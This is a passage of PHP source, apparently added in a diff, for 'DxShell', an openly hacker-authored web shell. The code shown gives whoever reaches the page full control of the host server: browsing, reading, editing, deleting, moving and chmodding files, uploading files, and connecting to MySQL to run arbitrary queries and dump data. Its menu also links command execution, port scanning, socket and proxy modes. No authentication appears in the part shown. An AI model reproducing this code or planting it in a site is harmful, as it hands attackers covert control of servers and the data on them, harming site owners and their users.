<b>'.@mysql_get_server_info().'</b> ; '; +print "\n".'<br>'.@$_SERVER['SERVER_SOFTWARE']; +?> + </td> +</table> +<table width=100% cellspacing=0 cellpadding=0 class=outset> +<tr> + <td width=100pt class=h2_oneline><h2>Modes</td> + <td style="text-align:center;"><nobr> + <a href="<?=DxURL('kill', '');?>&dxmode=DIR">DIR</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=F_VIEW">VIEW</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=FTP<?=((!empty($_GET['dxdir']))?'&dxdir='.$_GET['dxdir']:'');?>">FTP</a> + <td><font class=highlight_txt><big><b>II</td><td style="text-align:center;"><nobr> + <a href="<?=DxURL('leave', 'dxsql_s,dxsql_l,dxsql_p,dxsql_d');?>&dxmode=SQL">SQL</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=PHP">PHP</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=COOK">COOKIE</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=CMD">CMD</a> + <td><font class=highlight_txt><big><b>II</td><td style="text-align:center;"><nobr> + <a href="<?=DxURL('kill', '');?>&dxmode=MAIL">MAIL</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=STR">STR</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=PRT">PORTSCAN</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=SOCK">SOCK</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=PROX">PROXY</a> + </td> + </tr> +</table> + +<?php $DX_Header_drawn=true; ?> + +<?php +################################################# +######## +######## DXGLOBALSHIT DOWNLOADER +######## +if (isset($DxDOWNLOAD_File)) /* only when DXGLOBALSHIT is enabled */ + { print "\n".'<table align=center><tr><td class=mode_header><b>Download file</td></tr></table>'; + print "\n".'The fact you see this means that "'.basename($_SERVER['PHP_SELF']).'" has fucked up the output with it\'s shit, so no headerz could be sent =(('; + print "\n".'<br>Exclusively, DxShell is proud to present an additional way to download files...Just execute the php-script given below, and it will make the file u\'re trying to download'; + + if ($GLOB['SYS']['GZIP']['CanUse']) $DxDOWNLOAD_File['content']=gzcompress($DxDOWNLOAD_File['content'], 6); + + print "\n\n".'<br><br>'; + print "\n".'<textarea rows=30 style="width:90%" align=center>'; + print "\n".'<?php'."\n".' //Execute this, and you\'ll get the requested "'.$DxDOWNLOAD_File['filename'].'" in the same folder with the script ;)'; + print "\n".'// The file is '.( ($GLOB['SYS']['GZIP']['CanUse'])?'gzcompress()ed and':'' ).' base64_encode()ed'; + print "\n\n".'$encoded_file=\''.base64_encode($DxDOWNLOAD_File['content']).'\';'; + print "\n\n\n\n"; + print "\n".'$f=fopen(\''.$DxDOWNLOAD_File['filename'].'\', \'w\');'; + print "\n".'fputs($f, '.( ($GLOB['SYS']['GZIP']['CanUse'])?'gzuncompress(base64_decode($encoded_file))':'base64_decode($encoded_file)' ).');'; + print "\n".'fclose($f);'; + print "\n".'//Yahoo, hacker, the file is here =)'; + print "\n".'?>'; + print "\n".'</textarea>'; + die(); + } + +?> + +<table align=center> + <tr><td class=mode_header> + @MODE: <b><?=$GLOB['DxMODES'][$_GET['dxmode']];?> + </td></tr></table> +<? + +######## +######## AboutBox +######## +if ($_GET['dxmode']=='WTF') + { + ?> +<table align=center class=nooooneblya><tr><td><div align=center> +<?php +print '<a href="http://hellknights.void.ru/">'.DxImg('exec').'</a>'; +print '<br>o_O Tync, ICQ# 244-648'; +?><br><br> +<textarea name="LolBox" class=bout style="width:500pt; height:500pt;"></textarea></table> +<SCRIPT language=Javascript><!-- +var tl=new Array( +"Kilobytes of c0de, litres of beer, kilometers of cigarettes (*no drugs*), and for what purpose?", +"What's wrong with other shells?", +"Usability, functionality, bugs?... NO.", +"The main bug is: these shells ARE NOT mine =)", +"Just like to be responsible for every motherfucking byte of code.", +"Enjoy!", +"-----------------------------------", +"o_O Tync, http://hellknights.void.ru/, ICQ#244648", +"DxShell v<?=$GLOB['SHELL']['Ver'].', date '.$GLOB['SHELL']['Date'];?>", +"", +"Greetz to: ", +"iNfantry the Ruler", +"Nik8 the Hekker", +"_1nf3ct0r_ the Father", +"Industry of Death the betatest0r =)", +"", +"Thanks to:", +"Dunhill the cigarettes, Tuborg the beer, PHP the language, Nescafe the Coffee, Psychedelic the Music", +"", +"Wartime testers & debuggers ::: =))) :::", +"MINDGROW", +"", +"", +"Hekk da pl0net!", +"--- EOF ---" +); +var speed=40;var index=0; text_pos=0;var str_length=tl[0].length;var contents, row; +function type_text() +{contents='';row=Math.max(0,index-50); +while(row<index) contents += tl[row++] + '\r\n'; +document.getElementById("LolBox").value = contents + tl[index].substring(0,text_pos)+'|'; +if(text_pos++==str_length) + {text_pos=0;index++; + if(index!=tl.length) + {str_length=tl[index].length;setTimeout("type_text()",1000); + } + } else setTimeout("type_text()",speed); +}type_text(); +//--> +</SCRIPT> + <?php + } + + + ################################### + +######## +######## Upload file +######## +if ($_GET['dxmode']=='UPL') + { + if (empty($_POST['dxdir']) AND empty($_GET['dxdir'])) die(DxError('Uploading without selecting directory $_POST/$_GET[\'dxdir\'] is restricted')); + + if (isset($_FILES['dx_uplfile']['tmp_name'])) + { + $GETFILE=file_get_contents($_FILES['dx_uplfile']['tmp_name']); + DxFiles_UploadHere($_POST['DxFTP_FileTO'], $_FILES['dx_uplfile']['name'], $GETFILE); + } + else + { + print "\n".'<form action="'.DxURL('leave','dxmode,dxsimple').'" enctype="multipart/form-data" method=POST>'; + print "\n".'<input type="hidden" name="MAX_FILE_SIZE" value="'.$GLOB['PHP']['upload_max_filesize'].'">'; + print "\n".'<font class="highlight_txt">Max: '.DxStr_FmtFileSize($GLOB['PHP']['upload_max_filesize']).'</font>'; + print "\n".'<br><input type=text name="dxdir" value="'.$_GET['dxdir'].'" SIZE=50>'; + print "\n".'<br><input type=file name="dx_uplfile" SIZE=50>'; + print "\n".'<input type=submit value="Upload" class="submit"></form>'; + } + } + + ################################### + +######## +######## Directory listings +######## +if ($_GET['dxmode']=='DIR') + { + if (empty($_GET['dxdir'])) $_GET['dxdir']=realpath($GLOB['FILES']['CurDIR']); + $_GET['dxdir']=DxFileOkaySlashes($_GET['dxdir']); + if (substr($_GET['dxdir'], -1,1)!='/') $_GET['dxdir'].='/'; + + print "\n".'<br><form action="'.DxURL('kill', '').'" method=GET style="display:inline;">'; + DxGETinForm('leave', 'dxmode'); + print "\n".'<input type=text name="dxdir" value="'.DxFileOkaySlashes(realpath($_GET['dxdir'])).'" SIZE=40>'; + print "\n".'<input type=submit value="Goto" class="submit"></form>'; + + print "\n".'<br>'.'<b>&gt;&gt; <b>'.$_GET['dxdir'].'</b>'; + if (!file_exists($_GET['dxdir'])) die(DxError('No such directory')); + if (!is_dir($_GET['dxdir'])) die(DxError('It\'s a file!! What do you think about listing files in a file? =)) ')); + + if (isset($_GET['dxparam'])) + { if ($_GET['dxparam']=='mkDIR') if ( !mkdir($_GET['dxdir'].'__DxS_NEWDIR__'.DxRandomChars(3)) ) DxError('Unable to mkDir. Perms?'); + if ($_GET['dxparam']=='mkFILE') if ( !touch($_GET['dxdir'].'__DxS_NEWDIR__'.DxRandomChars(3)) ) DxError('Unable to mkFile. Perms?'); + } + + if (!($dir_ptr=opendir($_GET['dxdir']))) die(DxError('Unable to open dir for reading. Perms?...')); + $FILES=array('DIRS' => array(), 'FILES' => array()); + while (!is_bool( $file = readdir($dir_ptr) ) ) + if (($file!='.') and ($file!='..')) if (is_dir($_GET['dxdir'].$file)) $FILES['DIRS'][]=$file; else $FILES['FILES'][]=$file; + asort($FILES['DIRS']);asort($FILES['FILES']); + + print "\n".'<span style="position:absolute;right:0pt;">'; + if (isset($_GET['dxdirsimple'])) print '<a href="'.DxURL('kill', 'dxdirsimple').'">[Switch to FULL]</a>'; + else print '<a href="'.DxURL('leave', '').'&dxdirsimple=1">[Switch to LITE]</a>'; + print '</span>'; + + $folderup_link=explode('/',$_GET['dxdir'].'../'); + if (!empty($folderup_link[ count($folderup_link)-3 ]) AND ($folderup_link[ count($folderup_link)-3 ]!='..')) + unset($folderup_link[ count($folderup_link)-3 ], $folderup_link[ count($folderup_link)-1 ]); + $folderup_link=implode('/', $folderup_link); + print "\n".str_repeat('&nbsp;',3).'<a href="'.DxURL('leave', 'dxdirsimple').'&dxmode=DIR&dxdir='.$folderup_link.'" class=no>' + .DxImg('foldup').' ../</a>'; + + print "\n".str_repeat('&nbsp;', 15).'<font class=highlight_txt>MAKE: </font>' + .'<a href="'.DxURL('leave', 'dxmode,dxdir,dxdirsimple').'&dxparam=mkDIR">Dir</a>' + .' / ' + .'<a href="'.DxURL('leave', 'dxmode,dxdir,dxdirsimple').'&dxparam=mkFILE">File</a>' + .' / '.str_repeat('&nbsp;',5) + .'<font class=highlight_txt>UPLOAD: </font>' + .'<a href="'.DxURL('leave', 'dxdirsimple').'&dxdir='.DxFileToUrl($_GET['dxdir']).'&dxmode=UPL">Form</a>' + .' / ' + .'<a href="'.DxURL('leave', 'dxdirsimple').'&dxdir='.DxFileToUrl($_GET['dxdir']).'&dxmode=UPL">FTP</a>' + ; + + print "\n".'<br>'.count($FILES['DIRS']).' dirs, '.count($FILES['FILES']).' files '; + print "\n".'<table border=0 cellspacing=0 cellpadding=0 ><COL span=15 class="linelisting">'; + for ($NOWi=0;$NOWi<=1;$NOWi++) + for ($NOW=($NOWi==0)?'DIRS':'FILES', $i=0;$i<count($FILES[$NOW]);$i++) + { $cur=&$FILES[$NOW][$i]; + $dircur=$_GET['dxdir'].$cur; + print "\n".'<tr>'; + print "\n\t".'<td class=linelisting '.((isset($_GET['dxdirsimple']) AND ($NOW=='DIRS'))?'colspan=2':'').'>' + .(($NOW=='DIRS')?DxImg('folder').' ' + . '<a href="'.DxURL('leave', 'dxdirsimple').'&dxmode=DIR&dxdir='.DxFileToUrl($dircur).'" class=no>':'') + .(($NOW=='FILES')?'<a href="'.DxURL('kill', '').'&dxmode=F_VIEW&dxfile='.DxFileToUrl($dircur).'" class=no>':'') + .htmlspecialchars($cur).'</td>'; + + if (!isset($_GET['dxdirsimple'])) + { + print "\n\t".'<td class=linelisting>' + .'<span '.DxDesign_DrawBubbleBox('File Info', '<b>Create time:</b><br>'.DxDate(@filectime($dircur)).'<br>' + .'<b>Modify time:</b><br>'. DxDate(@filemtime($dircur)).'<br>' + .'<b>Owner/Group:</b><br>'.(@fileowner($dircur)).' / '.(@filegroup($dircur)) + , 150).' class=Hover><b>INFO</span> </td>'; + print "\n\t".'<td class=linelisting '.(($NOW=='DIRS')?'colspan=2':'').'>' + .((($i+$NOWi)==0)?'<span '.DxDesign_DrawBubbleBox('Perms legend', '1st: sticky bit:<br>"<b>S</b>" Socket, "<b>L</b>" Symbolic Link, "<b>&lt;empty&gt;</b>" Regular, "<b>B</b>" Block special, "<b>D</b>" Directory, "<b>C</b>" Character special, "<b>P</b>" FIFO Pipe, "<b>?</b>" Unknown<br>Others: Owner/Group/World<br>"<b>r</b>" Read, "<b>w</b>" Write, "<b>x</b>" Execute<br><br><b>Click to CHMOD', 400).' class=Hover>':'') + .'<a href="'.DxURL('kill', '').'&dxmode=F_CHM&dxfile='.DxFileToUrl($dircur).'" class=no>'.DxChmod_Oct2Str(@fileperms($dircur)).'</td>'; + } + + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting style="text-align:right;">'.DxStr_FmtFileSize(@filesize($dircur)).'</td>'; + + if (!isset($_GET['dxdirsimple'])) + { + if ($NOW=='DIRS') print "\n\t".'<td class=linelisting colspan='.(($GLOB['SYS']['GZIP']['IMG'])?'4':'3').'>&nbsp;</td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxparam=SRC&dxfile='.DxFileToUrl($dircur).'" target=_blank>'.DxImg('view').'</a></td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_ED&dxfile='.DxFileToUrl($dircur).'">'.DxImg('ed').'</a></td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxfile='.DxFileToUrl($dircur).'">'.DxImg('downl').'</a></td>'; + if (($NOW!='DIRS') AND ($GLOB['SYS']['GZIP']['IMG'])) print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_DWN&dx_gzip=Yeah&dxfile='.DxFileToUrl($dircur).'">'.DxImg('gzip').'</a></td>'; + print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_REN&dxfile='.DxFileToUrl($dircur).'">'.DxImg('rename').'</a></td>'; + print "\n\t".'<td class=linelisting '.(($NOW=='DIRS')?'colspan=3':'').'><a href="'.DxURL('kill', '').'&dxmode=F_DEL&dxfile='.DxFileToUrl($dircur).'">'.DxImg('del').'</a></td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_COP&dxfile='.DxFileToUrl($dircur).'">'.DxImg('copy').'</a></td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_MOV&dxfile='.DxFileToUrl($dircur).'">'.DxImg('move').'</a></td>'; + } + print "\n\t".'</tr>'; + } + print "\n".'</table>'; + } + + +######## +######## File Global Actions +######## +if ('F_'==substr($_GET['dxmode'],0,2)) + { if (empty($_GET['dxfile'])) + { print "\n".'<form action="'.DxURL('kill', '').'" method=GET>'; + DxGETinForm('leave', ''); + print "\n".'<input type=text name="dxfile" value="" style="width:70%;">'; + print "\n".'<br><input type=submit value="Select" class="submit">'; + print "\n".'</form>'; + } + if (!file_exists(@$_GET['dxfile'])) die(DxError('No such file')); + print "\n\n".'<a href="'.DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile'])).'">[Go DIR]</a>'; + } + +######## +######## File CHMOD +######## +if ($_GET['dxmode']=='F_CHM') + { + if (isset($_GET['dxparam'])) + { if (chmod($_GET['dxfile'], octdec((int)$_GET['dxparam']))==FALSE) + print DxError('Chmod "'.$_GET['dxfile'].'" failed'); + else print 'CHMOD( <font class=highlight_txt>'.$_GET['dxfile'].'</b></font> )...<b>OK</b>'; + } + else + { print "\n".'<form action="'.DxURL('kill', '').'" method=GET>'; + DxGETinForm('leave', 'dxmode,dxfile'); + print "\n".'CHMOD( <font class=highlight_txt>'.$_GET['dxfile'].'</font> )'; + print "\n".'<br><input type=text name="dxparam" value="'. + //decoct(fileperms($_GET['dxfile'])) + substr(sprintf('%o', fileperms($_GET['dxfile'])), -4) + .'">'; + print "\n".'<input type=submit value="chmod" class="submit"></form>'; + } + } + +######## +######## File View +######## +if ($_GET['dxmode']=='F_VIEW') + { + if (!is_file($_GET['dxfile'])) die(DxError('Hey! Find out how to read a directory in notepad, and u can call me "Lame" =) ')); + if (!is_readable($_GET['dxfile'])) die(DxError('File is not readable. Perms?...')); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0 align=right><tr>'; + print "\n".'<td><h3>'.$_GET['dxfile'].'</h3></td>'; + print "\n".'<td>' + .'<a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxparam=SRC&dxfile='.DxFileToUrl($_GET['dxfile']).'" target=_blank>'.DxImg('view').'</a>' + .'<a href="'.DxURL('kill', '').'&dxmode=F_ED&dxfile='.DxFileToUrl($_GET['dxfile']).'">'.DxImg('ed').'</a>' + .'<a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxfile='.DxFileToUrl($_GET['dxfile']).'">'.DxImg('downl').'</a>' + .'<a href="'.DxURL('kill', '').'&dxmode=F_DEL&dxfile='.DxFileToUrl($_GET['dxfile']).'">'.DxImg('del').'</a>' + .'</td>'; + print "\n".'</tr></table><br>'; + print "\n".'Tip: to view the file "as is" - open the page in <a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxparam=SRC&dxfile='.DxFileToUrl($_GET['dxfile']).'">source</a> (<i>works best in Opera</i>), or <a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxfile='.DxFileToUrl($_GET['dxfile']).'">download</a> this file'; + + print "\n\n\n".'<br><hr><!-- File contents goes from here -->'."\n"; + print "\n".'<plaintext>'; + print file_get_contents($_GET['dxfile']); + die(); /* Plaintext is infinite */ + } + +######## +######## File Edit +######## +if ($_GET['dxmode']=='F_ED') + { + if (!is_file($_GET['dxfile'])) die(DxError('Hey! Find out how to read a directory in notepad, and u can call me "Lame" =) ')); + if (isset($_POST['dxparam'])) + { if (!is_writable($_GET['dxfile'])) die(DxError('File is not writable. Perms?...')); + if (($f=fopen($_GET['dxfile'], 'w'))===FALSE) die(DxError('File open for WRITE failed')); + if (fputs($f, $_POST['dxparam'])===FALSE) die(DxError('I/O: File write failed')); + fclose($f); + print 'File saved OK;'; + } + else + { + if (!is_readable($_GET['dxfile'])) die(DxError('File is not readable. Perms?...')); + if (!is_writable($_GET['dxfile'])) DxWarning('File is not writable!'); print "\n".'<font class=highlight_txt>'.$_GET['dxfile'].'</font>'; + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<textarea name="dxparam" rows=30 style="width:90%;">'.str_replace(array('<','>'),array('&lt;','&gt;'), file_get_contents($_GET['dxfile'])).'</textarea>'; + print "\n".'<br><input type=submit value="Save" style="width:100pt;height:50pt;font-size:15pt;" class=submit>'; + print "\n".'</form>'; + } + } + +######## +######## File Delete +######## +if ($_GET['dxmode']=='F_DEL') + { if (isset($_GET['dx_ok'])) + { if ($_GET['dx_ok']=='Yes') + { if ( (is_file($_GET['dxfile']) AND !unlink($_GET['dxfile'])) OR (is_dir($_GET['dxfile']) AND !rmdir($_GET['dxfile'])) ) + print DxError('Unable to delete file. Perms?...<br>'); + else + { print "\n".'Delete( <font class=highlight_txt>'.$_GET['dxfile'].'</font> ) <b>OK</b>'; + DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile']))); + } + } + } + else + { + if (!is_writable($_GET['dxfile'])) DxWarning('File is not writable!'); print "\n".'<form action="'.DxURL('kill', '').'" method=GET>'; + DxGETinForm('leave', 'dxmode,dxfile'); + print "\n".'<table border=0 cellspacing=0 cellpadding=0 align=center><tr><td>' + ."\n".'<font class=achtung>(!)</font> Do you really want to <font class=highlight_txt>DELETE '.$_GET['dxfile'].'</font> ?' + ."\n".'<div align=right><input type=submit name="dx_ok" value="No" class=bt_No><input type=submit name="dx_ok" value="Yes" class=bt_Yes>' + ."\n".'</td></tr></table>'; + print "\n".'</form>'; + } + } + +######## +######## File Rename +######## +if ($_GET['dxmode']=='F_REN') + { + if (isset($_POST['dxparam'])) + { + if (!rename($_GET['dxfile'], dirname($_GET['dxfile']).'/'.$_POST['dxparam'])) + print DxError('Unable to rename. Perms?...<br>'); + else + { + print "\n".'Rename( <font class=highlight_txt>'.$_GET['dxfile'].'</font> -> <font class=highlight_txt>'.dirname($_GET['dxfile']).'/'.$_POST['dxparam'].'</font> ) <b>OK</b>'; + DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile']))); + } + } + else + { + print "\n".'<form action="'.DxURL('leave', 'dxmode,dxfile').'" method=POST>'; + print "\n".'<input type=text name="dxparam" value="'.basename($_GET['dxfile']).'" style="width:80%">'; + print "\n".'<input type=submit value="Rename" class="submit"></form>'; + } + } + +######## +######## File Copy +######## +if ($_GET['dxmode']=='F_COP') + { + if (!is_file($_GET['dxfile'])) die(DxError('Don\'t even think about copuing directories! =))')); + + $newname=$_GET['dxfile'].'__DxS_COPY_'.DxRandomChars(3); + if (($extpos=strrpos($_GET['dxfile'], '.'))>strrpos($_GET['dxfile'], '/')) /* file has an extension */ + $newname=substr($_GET['dxfile'], 0, $extpos).'__DxS_COPY_'.DxRandomChars(3).substr($_GET['dxfile'], $extpos); + print $newname; + if (!copy($_GET['dxfile'], $newname)) + print DxError('Unable to copy. Perms?...<br>'); + else + { + print "\n".'Copy( <font class=highlight_txt>'.$_GET['dxfile'].'</font> -> <font class=highlight_txt>'.$newname.'</font> ) <b>OK</b>'; + DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile']))); + } + } + +######## +######## File Move +######## +if ($_GET['dxmode']=='F_MOV') + { + if (isset($_POST['dxparam'])) + { + if (!rename($_GET['dxfile'], $_POST['dxparam'])) + print DxError('Unable to rename. Perms? Or no path?...<br>'); + else + { + print "\n".'Move( <font class=highlight_txt>'.$_GET['dxfile'].'</font> -> <font class=highlight_txt>'.$_POST['dxparam'].'</font> ) <b>OK</b>'; + DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_POST['dxparam']))); + } + } + else + { + if (!is_writable($_GET['dxfile'])) DxWarning('File is not writable!'); + print "\n".'<form action="'.DxURL('leave', 'dxmode,dxfile').'" method=POST>'; + print "\n".'<input type=text name="dxparam" value="'.DxFileOkaySlashes(realpath($_GET['dxfile'])).'" style="width:80%">'; + print "\n".'<input type=submit value="M0ve" class="submit"></form>'; + } + } + +if (substr($_GET['dxmode'],0,2)=='F_') + {/* file actions */ + print "\n\n".'<br><br>'.'<a href="'.DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile'])).'">[Go DIR]</a>'; + } + + ################################### + +######## +######## SQL Maintenance +######## +if ($_GET['dxmode']=='SQL') + { if (!isset($_GET['dxsql_s'], $_GET['dxsql_l'], $_GET['dxsql_p'])) + { print "\n".'<h2>MySQL connection</h2>'; + print "\n".'<form action="'.DxURL('kill', '').'" method=GET align=center>'; + DxGETinForm('leave', 'dxmode'); + print "\n".'<br>Serv: <input type=text name="dxsql_s" value="localhost" style="width:200pt">'; + print "\n".'<br>Login:<input type=text name="dxsql_l" value="" style="width:200pt">'; + print "\n".'<br>Passw:<input type=password name="dxsql_p" value="" style="width:200pt">'; + print "\n".'<br><input type=submit value="C0nnect" class="submit" style="width:200pt;"></form>'; + die(); + } + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + else print '&gt;&gt; MySQL connected!'; + + $mysqlver=mysql_fetch_row(mysql_query("SELECT VERSION()")); + print str_repeat('&nbsp;',15).'MySQL version: <font class="highlight_txt">'.$mysqlver[0].'</font>'; + + DxMySQL_FetchResult(DxMySQLQ('SHOW DATABASES;', true), $DATABASES, true); + for ($i=0;$i<count($DATABASES);$i++) + $DATABASES[$i][1]=mysql_num_rows(DxMySQLQ('SHOW TABLES FROM `'.$DATABASES[$i][0].'`;', false)); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0>' + .'<tr><td class=h2_oneline><h1>DB:</h1></td>'; + if (!isset($_GET['dxsql_d'])) + { + print "\n".'<td class=h2_oneline style="border-width:0pt;">'; + print "\n".'<form action="'.DxURL('kill', '').'" method=GET>'; + DxGETinForm('leave', 'dxmode,dxsql_s,dxsql_l,dxsql_p'); + print "\n".'<SELECT name="dxsql_d" onchange="this.form.submit()">'; + print "\n\t".'<OPTION value="">&lt;Server&gt;</OPTION>'; + for ($i=0;$i<count($DATABASES);$i++) + print "\n\t".'<OPTION value="'.$DATABASES[$i][0].'">' + .'['.DxZeroedNumber($DATABASES[$i][1],3).']'.' '.$DATABASES[$i][0] + .'</OPTION>'; + print "\n".'</SELECT><input type=submit value="-&gt;" class=submit"></form></td>'; + print "\n".'</tr></table>'; + die(); + } + else print "\n".'<td class=linelisting><font class=highlight_txt>'.((empty($_GET['dxsql_d']))?'&lt;Server&gt;':$_GET['dxsql_d']).'</font></td>' + .'<td class=linelisting><a href="'.DxURL('kill', 'dxsql_d').'" class=no>[CH]</a></td>' + .'<td class=linelisting><a href="'.DxURL('kill', 'dxmode').'&dxmode=SQLS" class=no>[Search in tables...]</a></td>' + .'<td class=linelisting><a href="'.DxURL('kill', 'dxmode').'&dxmode=SQLD" class=no>[Dump...]</a></td>' + .'</tr></table>'; + + if (!empty($_GET['dxsql_d'])) + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0 width=100%>'; + print "\n".'<tr><td width=1% class=h2_oneline style="vertical-align:top;">'; + if (!empty($_GET['dxsql_d'])) + { + print "\n\t".'<table border=0 cellspacing=0 cellpadding=0>'; + print "\n\t".'<caption>Tables:</caption>'; + DxMySQL_FetchResult(DxMySQLQ('SHOW TABLES;', true), $TABLES, true); + for ($i=0;$i<count($TABLES);$i++) $TABLES[$i]=$TABLES[$i][0]; + asort($TABLES); + for ($i=0;$i<count($TABLES);$i++) + { + DxMySQL_FetchResult(DxMySQLQ('SELECT COUNT(*) FROM `'.$TABLES[$i].'`;', true), $TRowCnt, true); print "\n\t".'<tr><td class="listing"><nobr>'.(($TRowCnt[0][0]>0)?'&gt; ':'&nbsp;&nbsp;').$TABLES[$i].'</td></tr>'; + } + print "\n\t".'</table>'; + } + print "\n".'</td><td width=100%>'; + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'[?] Can run several querys if divided by ";"<br>If smth is wrong with charset, write first: SET NAMES cp1251;'; + print "\n".'<textarea name="dxsql_q" rows=10 style="width:100%;">'.((empty($_POST['dxsql_q']))?'':$_POST['dxsql_q']).'</textarea>'; + print "\n".'<div align=right>' + .'<input type=submit value="Query" class="submit"> ' + .'<input type=submit name="dxparam" value="Download Query" class="submit"></div></form>' + .'<br>'; + + if (empty($_POST['dxsql_q'])) die('</td></tr></table>'); + $_POST['dxsql_q']=explode(';', $_POST['dxsql_q']); + + foreach ($_POST['dxsql_q'] as $CUR_Q) + { if (empty($CUR_Q)) continue; + $CUR_Q.=';'; + + $num=DxMySQL_FetchResult(DxMySQLQ($CUR_Q, true), $FETCHED, false); + if ($num<=0) continue; + + print "\n\n\n".'<table border=0 cellspacing=0 cellpadding=0><caption>'.$CUR_Q.'</caption>'; + + $INDEXES=array_keys($FETCHED[0]); + print "\n\t".'<tr><td class="listing" colspan='.(count($INDEXES)+1).'>&gt;&gt; Fetched: '.$num. str_repeat('&nbsp;', 10). 'Affected: '.mysql_affected_rows().'</td></tr>'; + print "\n\t".'<tr><td class="listing"><div align=center class="highlight_txt">###</td>'; + foreach ($INDEXES as $key) print '<td class="listing"><div align=center class="highlight_txt">'.$key.'</td>'; + print '</tr>'; + + for ($l=0;$l<count($FETCHED);$l++) + { + print "\n\t".'<tr><td class="listing" width=40><div align=right class="highlight_txt">'.$l.'</td>'; + for ($i=0; $i<count($INDEXES); $i++) + print '<td class="listing"> '.DxDecorVar($FETCHED[$l][ $INDEXES[$i] ], true).'</td>'; + } + + print "\n".'</table><br>'; + } + print "\n".'</td></tr></table>'; + } + +######## +######## SQL Search +######## +if ($_GET['dxmode']=='SQLS') + { + if (!isset($_GET['dxsql_s'], $_GET['dxsql_l'], $_GET['dxsql_p'], $_GET['dxsql_d'])) die(DxError('SQL server/login/password/database are not set')); + + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + else print '&gt;&gt; MySQL connected!'; + + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0><tr><td class=h2_oneline><h2>DB:</h2></td>'; + print "\n".'<td class=linelisting><font class=highlight_txt>'.((empty($_GET['dxsql_d']))?'&lt;Server&gt;':$_GET['dxsql_d']).'</font></td></tr></table>'; + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; print "\n".'<table border=0 cellspacing=0 cellpadding=0 width=100%>'; + print "\n".'<tr><td width=1% class=h2_oneline style="vertical-align:top;">'; + + DxMySQL_FetchResult(DxMySQLQ('SHOW TABLES;', true), $TABLES, true); + for ($i=0;$i<count($TABLES);$i++) $TABLES[$i]=$TABLES[$i][0]; + asort($TABLES); + + if (isset($_POST['dxsqlsearch']['txt'])) + if (get_magic_quotes_gpc()==1) $_POST['dxsqlsearch']['txt']=stripslashes($_POST['dxsqlsearch']['txt']); + + print "\n\t".'<SELECT MULTIPLE name="dxsqlsearch[tables][]" SIZE=30>'; + for ($i=0;$i<count($TABLES);$i++) + { + DxMySQL_FetchResult(DxMySQLQ('SELECT COUNT(*) FROM `'.$TABLES[$i].'`;', true), $TRowCnt, true); + if ($TRowCnt[0][0]>0) + print "\n\t".'<OPTION value="'.$TABLES[$i].'" ' + .( (isset($_POST['dxsqlsearch']['tables']))? ((in_array($TABLES[$i], $_POST['dxsqlsearch']['tables']))?'SELECTED':'') :'SELECTED' ).'>' + .$TABLES[$i].'</OPTION>'; + } + print "\n\t".'</SELECT>'; + print "\n".'</td><td width=100%>'; + print "\n".'<input type=text name="dxsqlsearch[txt]" style="width:100%;" value="'.((empty($_POST['dxsqlsearch']['txt']))?'':str_replace('"', '&quot;', $_POST['dxsqlsearch']['txt'])).'">'; + print "\n".'<br>'; + foreach (array('Any', 'Each', 'Exact', 'RegExp') as $cur_rad) + print '<input type=radio name="dxsqlsearch[mode]" value="'.strtolower($cur_rad).'" ' + .( (isset($_POST['dxsqlsearch']['mode']))? (($_POST['dxsqlsearch']['mode']==strtolower($cur_rad))?'CHECKED':'') :(($cur_rad=='Any')?'CHECKED':'') ) + .' 